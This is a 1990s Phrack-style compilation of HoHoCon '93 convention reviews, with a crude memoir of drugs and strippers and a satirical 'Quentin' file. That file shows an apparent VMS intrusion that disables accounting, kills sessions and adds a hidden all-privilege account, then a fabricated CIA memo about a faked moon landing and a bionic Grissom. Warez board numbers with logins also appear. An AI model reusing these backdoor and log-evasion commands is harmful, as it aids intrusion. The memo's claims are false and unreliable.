LOD/Comm ‑ Project information on their Digital Archive project. Also, presented a cash donation to the SotMESC to help fund a scholarship campaign for those involved in the hacking realm.

Erik Bloodaxe ‑ Conversed about wireless modems and Email networks.

The Omega

White Knight ‑ gave out copies of a government document on UFO coverups.

Count Zero ‑ Members of the cDc/RDT. Handed out fliers and gave a packet Kingpin radio demonstration. Informed they would be coming out with the 'Jolly‑Roger Dialer' for $80 approx. that would be better than the 'Demon‑Dialer' offered by Hack‑Tic.

Brian Oblivion ‑ Conversed about legalities and the Clipper Chip. Informed us that the EFF is not promoting help on court cases ( they're too big ). Quoted, "The Internet is the collective consciousness of the community." Quoted Compuserve that, "The Internet is sewage."

Errata

‑‑‑‑‑‑

The Unix at the Super 8 Hotel was hacked.

Room 293 at the Super 8 was raided the day prior to the conference starting. A LAN was set up in 260 at the Super 8 ( Thanks Georgia Tech ). Kudos to Annaliza / Torquie for filming the conference for her documentary. Kudos to 'Vibe' for giving away free shirts to the public.

DO NOT leave anything expensive out, it will be stolen !!!

Kudos to Malicious and his group for being the friendliest hacks. Kudos to Grayarea, who will be providing her coverage of the Con. The Techno‑Porn party the SotMESC sponsored went well through the night. Many thanks to the mall‑girls that showed up to lend themselves to the masses. Cold Pricklies to whoever set the fire alarms off Saturday night. A big question mark to whoever acquired the large 30' inflatable balloon. Warez Boards ‑> 214‑642‑0003 NUP: flying man 214‑642‑1940 / 264‑6269 NUP: london run 817‑551‑5404 NUP: none

THE CHEAP‑SEX AWARD

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The personnel in room 508 at the Hilton that provided strippers, but enforced a door‑charge and sex‑charge for services.

THE MOST OBNOXIOUS PERSON AT HOHOCON 1993 AWARD

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The AT&T person who took pictures of EVERYONE

in the line going into the conference center.

A Gif of this individual will be provided later =:)

This is just a 'Spur of the Moment' release. We look forward to view‑points from other sources.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HoHoCon '93 ‑ Out With A Bang January, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Winn Schwartau (Page 8) (Security Insider Report)

The hackers did it again. A monster party, several hundred strong, where hacking was the agenda. HoHoCon is the annual hacker's convention in Texas, where all hell breaks loose. December 17‑19 in Austin was the host of this last one.

According to the hackers, it was a great party; the ethernet lines were run between rooms; the net was connected, and everyone consumed mass quantities of their favorite legal substance or controlled substance. One hacker was busted, apparently, for breaking into the hotel's PBX system and dialing the Planet Krypton (or some such place) and the cops sat outside the front door just in case. In case of what? According to the hotel, in case of crazy kids getting too crazy.

This last HoHoCon was the biggest yet; estimates from 250‑500 people attending to learn about hacking; keep tabs on the hackers; or hack themselves into position of respect amongst their peers. One attendee took roll after roll of photos of hackers; some hackers got paranoid, others laughed at him hiding behind pillars and jumping out to snap a pix. Whatever.

On the other hand, some security professionals who attended were absolutely aghast at what they saw; wild kids, with no reins, breaking into computers over the net is not fun nor legal. The drug and alcohol consumption was too extreme, and the messages and conference sessions somewhat disorganized. But, nonetheless, not one person I spoke to said they wouldn't attend again next year. So there must be something to it. Even legendary phreaks like John Draper aka Captain Crunch were there, despite his tenuous hold on reality and emanating odor.

This was the minority, though, and most security pros said they picked up a few tricks here and there. HoHoCon next year, the organizers fear, will turn legit if too many 'suits' come so they have to promote the event better. Next year's HoHoCon won't be held until January of 1995, making attendance easier for those who have Holiday conflicts.

We'll keep you informed.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HoHo Con '93

by Erik Bloodaxe

It was the eve of HoHoCon 93 and I found myself caught in a serious dilemma. I had promised to provide this year's "entertainment" yet I knew I was going to back out of it. I had received about a million emails and chat messages bugging me about the "bondage show" that was supposed to transpire that Saturday night and had tried my hardest to give them little or no commentary, knowing full well that I was going to flake out at the last moment.

So here I was, driving towards the Austin Airport Hilton, trying to come up with excuses about why there would be no show to some 300 hormonal sociopaths. Every scenario seemed bleak: "Phrack Editor Vivisected!" "Hacker Revolt Leaves Three Dead, 15 Wounded." I tried to blow it off, consoling myself that no one would really give a shit, and that it was only my own ego that demanded that I fulfill the promise of sleeze.

Upon arrival at the Hilton, I was amused to find some 30 or more miscreants milling about the lobby, amusing themselves with house phones and sordid tales of last week's hack. As usual, there was not a payphone to be had, a direct result of the numerous Radio Shack dialers on hand (model 43‑141).

I mingled somewhat distantly, looking for Chasin, Tcon, Lex, Drunkfux or anyone else I needed to talk to. Of course they weren't there. I was beginning to wonder how in the hell I could pass the time when I was paged by Lex.

Lex Luthor was staying a safe distance from the main fracas. In typical Luthorian paranoia, he was determined to not have his name on anything, such as car rental or hotel room, so by staying just far enough away he hoped to not have his name on any arrest reports either. Lex, Professor Falken, Al Capone, Mark Tabas, The Mentor and I were all supposed to have dinner that evening. After getting Lex's room information, I took off to get Mentor.

Getting everyone together was somewhat of a clusterfuck. Tabas was located at the bottom of a 151 bottle, but surfaced in time to grab dinner.

During dinner at Baby Acapulco's, as the award‑winning waitstaff lost most of our orders, Mentor reminisced about some of my more unbalanced teenage moments such as: the time I cut the break cables on a Mercedes because its owner had made the moves on my evening's female target, the knife and gun wielding passout on the railroad tracks, etc. He ended with, "You sure have changed. I'm surprised you aren't dead."

I suddenly felt old. It would not be the last time I felt that way that weekend.

After dinner I decided to be a jerk and lash out at Tabas for insulting my overinflated ego on the net. It accomplished nothing, except to further distance ourselves but this evil voice in my head deemed it necessary. We agreed to disagree and to try to put aside our numerous past problems for the interim, although I doubt either of us believed in the resolution.

Once back at the Hilton, things were beginning to heat up. Some hundred or more conferees were loitering back and forth from the Hilton to the Super 8 next door. I finally managed to hook up with Chasin, Tcon, Koresh and Louis Cypher in their room at the Super 8. Lcypher was enjoying what would probably be his last taste of freedom, since he was due to ship out to federal boot camp the next month.

Sometime thereafter, a score of people began running upstairs with computer equipment, laughing to themselves. As would be typical, a short time later several police cruisers showed up. The kids had broken into a phone closet and ran extra lines to their room to either: a) run a bbs, b) wardial the city or hotel, or c) prove once and for all they were the dumbest people in attendance. A member of the Austin EFF chapter ran about screaming about the rights of the accused. The police told him that if he didn't shut up he would be going downtown as well. The silence came instantly.

The appearance of police so soon on the first evening made several people quite nervous, especially those guests with rather large pupils, whose numbers were growing in abundance. They sat in their rooms with the lights dimmed (or off) peering out the curtains wondering if the cops would be knocking on their doors next.

Word reached us that KevinTX had shown up. In typical flair, Kev had blown in straight from Las Vegas where he had just won some $20,000 playing Blackjack, and was in a very festive mood. Once we reached his floor, we were greeted with the sounds of a dozen tropical birds in terrible agony. Obviously "the tank" had been filled, and was being rapidly drained.

Inside the room black plastic bags lined the floor giving the appearance of a recent trashing run, but in reality were the victims of an unforgiving blast of n2o. Some Andrew Blake film played on the VCR Kevin and his crew had brought, and a new camcorder was being erected to capture the planned debauchery on tape.

We asked Kevin how on earth they managed to wheel in a 20 lb tank of nitrous through the lobby and up to the room without being questioned. Kevin said they put it under a jacket and just walked right through. I wondered how long it would be before everyone else began wheeling in kegs.

I begged everyone not to put the bags over their heads, as resuscitating any potential asphyxiation victim was not in my agenda. (Quick flashback to a blue‑faced man spasming from oxygen depravation, "No really officer, I don't know why he put that bag on his head and went to sleep.") Besides, it would be too far to drag a dead body down to the dumpster from the hotel room without attracting suspicion.

The tank was drained and the crowd dwindled.

Reflecting upon the altered states of those wandering almost zombie‑like around the hotels, I decided that if anyone were to be raiding the con it should be the DEA rather than the FBI.

I arrived at the con the next morning lugging a box full of my t‑shirts, ready to make the rent. In the conference room Bruce Sterling was in the middle of an incredible rant about the evils of Virii. I don't know what the hell he was talking about. I'm not quite sure if anyone did, but I got the impression that he got zapped. A note to the kiddies: don't copy that floppy!

At the door, dFx was busily commandeering the five dollar "voluntary contribution." I asked him how the take was and he whipped out a stack of money that would choke an elephant. I asked him for my share for being his marketing and advertising rep. The money and dFx disappeared.

Damien Thorn of Nuts & Volts, whose column is the ONLY reason I subscribe, took the stand and talked about the magazine and his column. I jumped up and asked him about his involvement with Phoenix Rising Communications, and suggested they not use the name "The Phoenix Project" as their BBS name. Damien seemed somewhat apologetic when he said that he didn't realize that it had already been used in the past. (Obviously Sterling's book didn't get read by everyone.)

I took off to find out where the casualties from last night were hiding. After a lengthy and fruitless search for Chasin, Tcon or KevinTX, I stumbled back into the con area just in time to find out that LOD Communications would be hitting the podium next.

As we all wandered up front, (we being me, Lex, Tabas, Phantom Phreaker, Professor Falken and Al Capone), an explosion of camera flashes shook the conference room. It was the most ridiculous thing I have ever been a witness to. I felt pretty sorry for Lex, who had managed to avoid being photographed as "Lex Luthor" for his entire life, now being the target of every butthead with a Nikon in the greater Austin area.

After we rambled about the BBS archive project, I got the chance to give one of the worst presentations of my life. I will credit some of this to the lack of display technology (mainly overhead projector and VGA adaptor) but the main fault was my own. I spoke for a bit about wireless wide area networking via commercial packet radio and about services such as RadioMail.

Afterwards, Chasin and I introduced White Knight and The Omega who, in typical cDc fashion, relayed the further adventures of "America's Favorite Hacker: Quentin." At the end of their speech, they offered about a dozen copies of Quentin's latest exposure of a government cover‑up.

The madcap dash of reporters, hackers and various other would‑be co‑conspirators to grab the sacred printout was like the closing scene of "It's a Mad Mad World." The stage rush was not terribly unlike my first Metallica concert: people diving over chairs, crawling over heads, screaming, arms flailing. The only difference were the reporters yelling "Press! Press! I must have a copy!"

The conference wrapped up with attorney Steve Ryan talking about the sorry state of computer law.

Bernie Milligan of Communications & Toll Fraud Specialists from Houston finally ran out of film. (Bernie, if you recall, was at HoHo '92 sitting at the back of the room with the Super Ear. I wonder how much he gets for the photos. Maybe he just tacks them up on his wall and has little fantasy conversations with them as he spanks his monkey. I don't know.)

After the speaking was concluded, Weevil wandered over and asked me when the bondage show would be going on. I told him that it would not be happening. Weevil, still very elated over his rave reviews in "Dazed and Confused," looked at me and in a stereotypical Hollywood‑esque display of confidence said, "Don't worry about it dude. I'll take care of it."

A 17 year old actor and would‑be pimp. Yeah, right.

I got shanghaied by John Littman who was working on his book about Kevin Poulsen, Agent Steal and friends. We talked for a bit, and I came to the following conclusions:

5 REASONS WHY I AM LIKE AGENT STEAL

1. We both shared a knack for dating strippers.

2. We are both long haired, skinny, aging hackers.

3. We both know the value of a carefully placed camcorder.

4. We both have been the subject of investigations by the government. 5. We both have assisted the government.

5 REASONS WHY I AM NOT LIKE AGENT STEAL

1. I have both my original legs.

2. I only use Saran Wrap for leftovers.

3. I would never dress like any member of Poison.

4. I stopped breaking into buildings when I was 14.

5. I would never turn in my friends to save my own ass.

That evening as everyone was getting antsy, Frosty popped up with his "Techno‑Porn." Something like 24 hours of non‑stop pornography compressed into 6 hours. You'd have to see it to understand.

Everyone seemed to migrate towards 508, most likely a direct result of the internal sex & drug divining rods built into the subconscious of every attendee. Sometime around 9 or 10 in the evening, Weevil showed up parading five very attractive, scantily clad young women. The strippers made their way through the lobby of the Hilton evoking a Pied Piper effect, dragging hundreds of drooling hackers in their wake.

They managed to get into the hotel room unscathed. Outside the room the crowds gathered, anxious to get a peek at the girlies.

The girls, meanwhile, got somewhat agitated, looking around at their predicament. They had given up their Saturday night shift at Sugar's Cabaret (an Austin upscale nudie bar) for the prospect of making some easy cash at HoHoCon. Apparently Weevil exaggerated a bit about the quality of the attendees in his fervor to coax them back to the hotel.

I, being a take charge kind of guy, asked the girls what they needed, took some orders, and announced to the crowd that anyone who did not have at least forty dollars needed to get the fuck out. Once word of the necessity of money spread among the riot‑like crowds swarming the 5th floor, they became like Donn Parker's hair and thinned quickly and ultimately disappeared entirely.

Zar took over the job of guarding the door and making sure that no one got in without showing that they had cash for the girls, and KevinTX rounded up cash from within the room and manned the camcorder and radio. After a few beers, everyone loosened up and the show began.

Soon, there were topless women everywhere. There were "table‑dances" happening on the toilet, there were women on the beds, and grinding away on the floor in front of a mirror.

It was the kind of thing that I'm sure Dr. Mitch Kabay would be shocked and dismayed by, but unfortunately he wasn't in the room. Perhaps he didn't have the cash to get in.

Everyone in the room was having a blast. Consultants, reporters, and hackers all equally sharing in the debauchery. Zar gave new meaning to the word "man‑handling." I can only thank God that I had sold all my shirts, so I had cash to spare.

The night went on, the beer flowed, the dopamine inhibitors kicked in full force, and the money changed hands faster than could be counted. By the end of the evening, everyone had received several "table dances," KevinTX had whip marks on his back, Weevil had won my complete admiration, and the girls made a small fortune. Each of the dancers walked away with over $200 in cash. The biggest winner was a really hot little 18 year‑old named Cathy who raked in almost $400.

As the night drew to a close, the room emptied, the girls gathered up their outfits and made for home, or paired up to go somewhere else.

I awoke Sunday somewhere else. No comment. (I couldn't anyway, since I have no recollection.)

So ended HoHoCon.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Additional HoHoCon Reviews:

HoHoCon Review Spring 1994

~~~~~~~~~~~~~~

By Netta Gilboa (Gray Areas) (Page 30)

Rising From the Underground March, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Damien Thorn (Nuts & Volts) (Page 100)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Quentin Strikes Again

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 12 of 28

****************************************

"Quentin Strikes Again"

In the Fall of 1992, "NBC: Dateline" aired a show on computer hackers, interviewing Erik Bloodaxe, Doc Holiday and a person named "Quentin." Halfway through the show, Quentin is shown with his back to the camera, text scrolling across his screen. Dateline seemed oblivious: on closer inspection, Quentin was displaying a file which listed various MIL and GOV sites which allegedly had "autopsies of extra‑terrestrials on record", information about UFO crash sites, detailed governmental research on alien beings. By December, that Dateline episode had created quite a stir within the hacker community. Who was Quentin? What file was he displaying? Was this an elaborate hoax, a joke which failed to gain the attention of NBC? At HoHoCon '92 in Houston, Bloodaxe and Holiday explained that the file did exist and the information it contained was in fact true. Lending some credence to the story, well‑placed sources indicated that the White House had requested a copy of the episode from NBC.

Bloodaxe and Holiday refused to name the people involved, but explained that a relatively unknown group had formed to pursue a project they referred to variously as "Project ALF" and "Project Green Cheese", searching government computers for any evidence which might verify a UFO cover‑up. Apparently they struck pay dirt.

By the Summer of 1993, at least one member of Project Green Cheese had "disappeared." White House aide Vincent Foster turned up dead after an apparent suicide; among documents found in Foster's office possibly linking President Clinton to a failed Arkansas Savings & Loan, a videotape was also found: the Dateline episode on Hackers.

Apparently buoyed by their success, the Green Cheese group began scanning an unpublished prefix in the 202 NPA toward the end of the Summer. They were surprised to learn that nearly every number in that prefix was answered by the same authoritative voice asking, "Who is this?" Not to be discouraged, the group continued until they happened upon a lone DEC Server. There they uncovered documentation suggesting a covert action of a different kind: a cover‑up instigated by the three‑letter agencies and NASA, perpetrated upon the public with the unwitting aid of the media in the early 1970s, beginning with the death of three astronauts.

What follows is an excerpt of their discovery.

‑‑ The Omega White Knight cDc / RDT cDc / RDT

DDDDD OOOO CCCC VV VV AA XX XX DD DD OO OO CC CC VV VV AAAA XX XX DD DD OO OO CC VV VV AA AA XXXX DD DD OO OO CC ‑‑‑‑ VV VV AA AA XX DD DD OO OO CC ‑‑‑‑ VV VV AAAAAA XXXX DD DD OO OO CC CC VVV AA AA XX XX DDDDD OOOO CCCC V AA AA XX XX

DEFENSE ADVANCED RESEARCH PROJECTS AGENCY

DOCUMENT REPOSITORY

W A R N I N G:

This computer system is operated by the United States Government and is protected under provisions of USC Title 23, Section 67. Unauthorized access is STRICTLY FORBIDDEN.

ENTRANCE:

USERNAME: FIELD

PASSWORD:

$ SET ACCOUNTING/DISABLE

$ SET LOGINS/INTERACTIVE=0

$ SHOW USERS

VAX/VMS INTERACTIVE USERS

23‑JUL‑1993 09:37:15.54

Total number of interactive users= 6

Username Process Name PID Terminal

BRUNO BRUNO 0000026B TTD3:

FIELD* FIELD 00000FF2 TTC2:

JOHNSON _TTD5: 0000026D TTD5:

LINCOLN LINCOLN 0000026A TTD2:

SMITH SMITH 000001D8 TTD4:

$ SET PROCESS/PRIVS=ALL

$ STOP/ID=26B

$ STOP/ID=26D

$ STOP/ID=26A

$ STOP/ID=1D8

$ SET DEF SYS$SYSROOT:[SYSEXE]

$ RUN AUTHORIZE

UAF> ADD BOVINE /PASSWORD=CULTEE /UIC=[099,900] /CPUTIME=0/DEVICE=SYS$SYSROOT /DIRECTORY=[SYSEXE] /PRIVS=ALL /NOACCOUNTING

UAF> EXIT

$ DIR *.*

[DEATH_STAR] [ECDYSIAST] [IPSUM] [KIMOTA]

[LOREM] [MAGIC] [PPYRUS] [TOC]

^Y

$ SET DEFAULT <PPYRUS>

$ TYPE *.MAI;1

DL 433‑54‑3937

10/28/71

Central Intelligence Agency Internal Memorandum

PPYRUS SECTION

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

TO: Thomas J. Kelley, Director, PPYRUS Section

FROM: Bill Brown, PP Deputy Chief

SUBJ: Preliminary Briefing #1

Special Projects, PPYRUS

Pursuant to reg. 3‑2638‑A, it is my responsibility as Deputy Chief, this section, to inform and apprise the incoming Director of all special projects planned or currently underway, as well as incidental or related projects. PPYRUS projects, this Administration, include:

Project Inception

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

MAGIC 5/69

SKY‑HOOK 7/69

ARAGON 11/69

ANTIGONE 1/70

KILO 9/70

ORACLE 4/71

DPULTRA 8/71

PPYRUS related projects, this Administration, include:

Project Inception

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

UMENSCH 2/63

CAPRICORN 7/68

Of these projects, DPULTRA (and two related projects, UMENSCH and CAPRICORN) require your immediate attention and approval.

(1)

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

[CONTINUE] ^M

DL 433‑54‑3937

10/28/71

Central Intelligence Agency Internal Memorandum

PPYRUS SECTION

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

BACKGROUND, PROJECT CAPRICORN

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

By 1965, NASA's public relations machine was in high gear, advertising amazing (and non‑existant) advances in American space technology and setting an ambitious schedule for the Space Agency's top priority: a manned space flight to the moon by the end of the decade.

Despite the few successes NASA and the Air Force had had with rocketry, in a memo to the President, dated 11/13/67, NASA reluctantly expressed some doubt that a moon mission could be accomplished even by 1973. The President made it clear that the moon mission was, by now, more of a political mission than one of science, and its success was of the utmost national priority. World sentiment at the time favored the Russians, their flawless successes a seeming vindication of the power and motivation of the Communist system. Further, the President felt that a success could deflect attention from the Vietnam war and re‑invigorate public sentiment in the United States toward the nation, the Administration, and the ingenuity of American technology. As a contingency for failure, CAPRICORN was instigated, its final approval to be decided by the middle of the following year in a meeting between the President, DIRNASA, DIRCIA, DIRNSA and attendant adjutants. The President summed CAPRICORN up in these words, "If we can't be heroes, we can damn well act like heroes!"

CAPRICORN's mission was a relatively simple one: covert deception of the public and media, under the guidance of PSYOPS and PPYRUS; a manned moon mission would be simulated and pre‑recorded in a controlled environment, later to be broadcast "live."

By June of 1968, CAPRICORN was recommended and Presidential approval given.

(2)

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

[CONTINUE] ^M

DL 433‑54‑3937

10/28/71

Central Intelligence Agency Internal Memorandum

PPYRUS SECTION

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

BACKGROUND, PROJECT CAPRICORN (cont'd)

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

CAPRICORN was an unqualified success resulting in, among other things, later congressional approval for a large appropriation of funds to further NASA's successful research.

BACKGROUND, PROJECT UMENSCH

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑

In February of 1963, DARPA gained oversight of an ancillary NASA research project that began with the discovery of efficient micro‑machines and light, extraordinarily strong alloys. These new discoveries implied the possibility for advance along a relatively new field of science: cybernetics. DARPA reacted enthusiastically by forming project UMENSCH.

Most information on UMENSCH, DARPA is unwilling to share. But this much is clear: under the direction of DARPA, NASA got the opportunity to test this technology on a human subject with the crash of an experimental flying‑wing in 1966.

As his CLASSIFIED service record indicates for the years 1960 ‑ 1965, Lieutenant Colonel Virgil Grissom (see Air Force files for Grissom, Virgil I., USAF 563‑87‑2981; CI DL 118‑26‑9069) had an exemplary record as an Air Force test pilot, including a stint as a U2 pilot during 1956‑1959, performing reconaissance missions over Cuba and Southeastern China. In fact, it was Grissom's missions which confirmed the mass starvation of over 10 million Manchurian Chinese in 1959.

Grissom barely survived an XF‑17 crash at Edwards Air Force Base, September 17, 1966. His right arm was badly crushed during an emergency ejection shortly after take‑off.

DARPA offered Grissom a chance to regain the limb through risky, untried technology: a cybernetically‑enhanced prosthetic implant. DARPA termed the marriage of cybernetic implants with biology, BIONICs.

The surgery was successful well beyond UMENSCH's projections; not only did Grissom's BIONIC arm function as well as his original arm, but in conjunction with a BIONICly enhanced upper skeleture, Virgil's right arm was capable of lifting several hundred pounds and inflicting marked fatigue in steel objects.

DARPA's investment of technology and secrets in Virgil Grissom in effect made Grissom UMENSCH property and necessarily privy to several sensitive projects.

(3)

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

[CONTINUE] ^M

DL 433‑54‑3937

10/28/71

Central Intelligence Agency Internal Memorandum

PPYRUS SECTION

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

BACKGROUND, PROJECT UMENSCH (cont'd)

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑

Colonel Grissom was an obvious astronaut candidate and by the following year was training for GEMINI. In fact, because of Grissom's access to a project as sensitive as UMENSCH, Grissom was later tapped to aid in the staging of CAPRICORN.

THE APOLLO LAUNCHPAD FIRE; GRISSOM, YOUNG, & WHITE

‑‑‑ ‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑ ‑‑‑‑ ‑‑‑‑‑‑‑ ‑‑‑‑

You're already well aware of the fire this July on the Apollo launchpad, which reportedly killed astronauts Grissom, Young and White. What you are not aware of, however, is that Grissom managed, with the aid of BIONICs, to escape the space capsule just before Young and White were asphixiated. It is not clear why Grissom apparently made no attempt to rescue his crew‑mates or why he used the ensuing confusion to leave Canaveral. For whatever reason, Grissom is now a loose‑cannon. Despite a massive, but low‑key manhunt, the officially‑dead ex‑astronaut's whereabouts are currently unknown, though we have reason to believe he may have made his way to California or Texas.

We suspect dissolution with the American space program ‑‑ CAPRICORN, in particular ‑‑ may lead Grissom to go public and compromise UMENSCH and CAPRICORN.

BACKGROUND, PROJECT DPULTRA

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑

"The most convincing lie is the one that's half true..." ‑‑ Samuel Butler

DPULTRA is a damage‑control project of utmost priority. Its goal is to desensitize the American public to the potential existence of a BIONIC‑enabled man and secondarily, any allegations concerning CAPRICORN, the ludicrous portrayal of the first discrediting the second.

PSYOPS' proposed project involves the production of a network television show, produced in part with Company funds, Pro‑US propagandizing, which will lionize the American Intelligence Community and plant the seed in the public's mind that projects like CAPRICORN and UMENSCH are impossible ‑‑ due to the inherent silliness of the show's plotlines, week after week.

(4)

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

[CONTINUE] ^M

DL 433‑54‑3937

10/28/71

Central Intelligence Agency Internal Memorandum

PPYRUS SECTION

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

BACKGROUND, PROJECT DPULTRA (cont'd)

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑

DPULTRA's success is directly related to the Nielsen ratings it can garnish and to ensure its success, PSYOPS personnel will be involved in writing the scripts.

PSYOPS suggests peppering the show's plots with psychological archetypes ‑‑ symbols from Jung's collective unconscious ‑‑ and possibly even subliminals (if need be). The story line will, nevertheless, be played straight but also utterly implausibly.

I would like to discuss DPULTRA further with you in person at our next Monday‑morning meeting.

(5)

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

[CONTINUE] ^M

DL 433‑54‑3958

11/07/71

Central Intelligence Agency Internal Memorandum

PPYRUS SECTION

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

TO: Thomas J. Kelley, Director, PPYRUS Section

FROM: Bill Brown, PP Deputy Chief

SUBJ: DPULTRA

PROJECT DPULTRA OUTLINE

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑

Following our meeting Monday, this is an update on DPULTRA.

In keeping with our RMD objectives, we've begun working on ideas this week. Much progress, although finished scripts are probably a month or two away, depending on the final series terms from American Broadcasting. Weve settled on character names and sketches:

DRAMATIS PERSONAE

Dr. Rudy Wells, An otherwise unremarkable man, the genius behind BIONICs Oscar Goldman, Director of a secret governmental intelligence agency, OSI Steve Austin, Astronaut/Test Pilot/OSI Agent; renowned as the first Man on the Moon. Similarity to the name Sam Houston results from the necessity to attract Texas viewers particularly (as well as Californians).

Following is a list of show ideas for the first season, along with input from the PSYOPS officers. PSYOPS wants us to plant collective archetypes and possibly subliminals in order to carve the show's subtext into the mind as deep as possible, and to generate the largest market share possible. These psychological implants will be joined with or disguised under ephemeral pop culture references, such as UFOs, Aztecs, Bigfoot, Cold Warrior, Earthquakes, the mystique of the American Indian, and the paranormal.

(1)

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

[CONTINUE] ^M

DL 433‑54‑3958

11/07/71

Central Intelligence Agency Internal Memorandum

PPYRUS SECTION

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

PROJECT DPULTRA OUTLINE (cont'd)

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑

SUPPORTING CHARACTERS

Venus Probe, Earth‑launched probe mistakenly returns, wreaking havoc Sasquatch, Otherwise known as "Big Foot"; a UFOnaut with BIONICs Farrah Fawcett, Reporter/Journalist foil for Steve Austin

Aztec Warrior, _Chariots of the Gods_ to its ultimate conclusion Bionic Boy, Temporarily BIONIC‑enabled

Gary Savin, Heretofore unknown, rogue $7 million man William Shatner, ...and dolphins. "Something Wonderful..." happens to astronaut Bill on one of his space‑walks Fembots, Female grotesques; "All this, and BIONICs, too!" Evil androids created by an unnamed, nefarious agency

Abridged list of possible episodes include:

Sasquatch

‑‑‑‑‑‑‑‑‑

During an OSI science investigation of the San Andreas fault in the wilderness of Northern California, Steve encounters Big Foot. Steve later learns that Big Foot is the product of extra‑terrestrial genetics and cybernetics, but his purpose on Earth is never clarified. In a later episode, Steve re‑visits the heavily forrested area and initiates a friendship with Sasquatch, eventually saving his life.

Venus Probe

‑‑‑‑‑‑‑‑‑‑‑

An interplanetary probe (like the planned Viking probes) destined for Venus slingshots through the alien atmosphere and returns to Earth. Its computer program doesn't realize that anything's wrong, so it begins its collection routines. Unfortunately, it has returned to our planet with an extremely tough armor plating (resulting from a chemical reaction with Venus's atmosphere) and it's zigzagging its way through Southern California. It possesses wicked collection equipment which in this environment are effective weapons. Anyone who gets near it is in great danger. Eventually, Steve and the national guard defeat the device by luring it into an open pit filled with very caustic acid.

(2)

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

[CONTINUE] ^M

DL 433‑54‑3958

11/07/71

Central Intelligence Agency Internal Memorandum

PPYRUS SECTION

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

PROJECT DPULTRA OUTLINE (cont'd)

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑

Amnesia

‑‑‑‑‑‑‑

As the result of a head injury, Steve is stricken with amnesia. Consequently, forgets that he possesses bionic powers. He ends up living out an alternate possible life ‑‑ moves in with a woman and gets a job as a construction worker. Everything is fine until Steve happens upon a woman and her child, pinned inside a wrecked car. He tears away the metal and extricates the people, who are grateful but become frightened when they see wires sticking out of a tear in his flannel shirt. Eventually, OSI catches up to him before anything too out of hand occurs, and Steve regains his memory by episode's end.

If this show is a success in its first season, PSYOPS would like to consider a spin‑off involving a second BIONIC character. The spin‑off would include:

ADDITIONAL CHARACTERS

Jamie Sommers, Substitute Teacher/ex‑Tennis Pro; an unlikely OSI agent; A love‑interest for Steve, Jamie obtains her BIONICs after a parachuting accident

Max the Dog, Formerly a laboratory subject, horribly burnt in a fire; Now BIONIC‑enabled. Psychologically traumatized, Max goes berserk at the first sign of flame

Jamie Sommers

‑‑‑‑‑‑‑‑‑‑‑‑‑

Jamie, a Junior Highschool substitute teacher and ex‑Tennis pro, and Steve are engaged to be married. At this point, Jamie knows nothing of Steve's involvement with OSI or his BIONIC abilities. On a vacation parachuting trip, Jamie is injured, paralyzed. Steve pleads with Dr. Wells to restore her limbs through BIONICs. Wells accedes. Except that Jamie has amnesia and has no idea who Steve is.

Jamie is instructed in her new BIONIC abilities, and begins to exercise them, when her body rejects the BIONIC implants, physically and emotionally traumatizing Jamie. OSI eventually solves the implant rejection problem, but Rudi cautions Steve that if he tells her of her past, it may induce the trauma of the BIONIC rejection. Steve lives with the pain of knowing that Jamie is his first love and that, for fear of her safety, can never tell her.

(3)

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

[CONTINUE] ^M

DL 433‑54‑3958

11/07/71

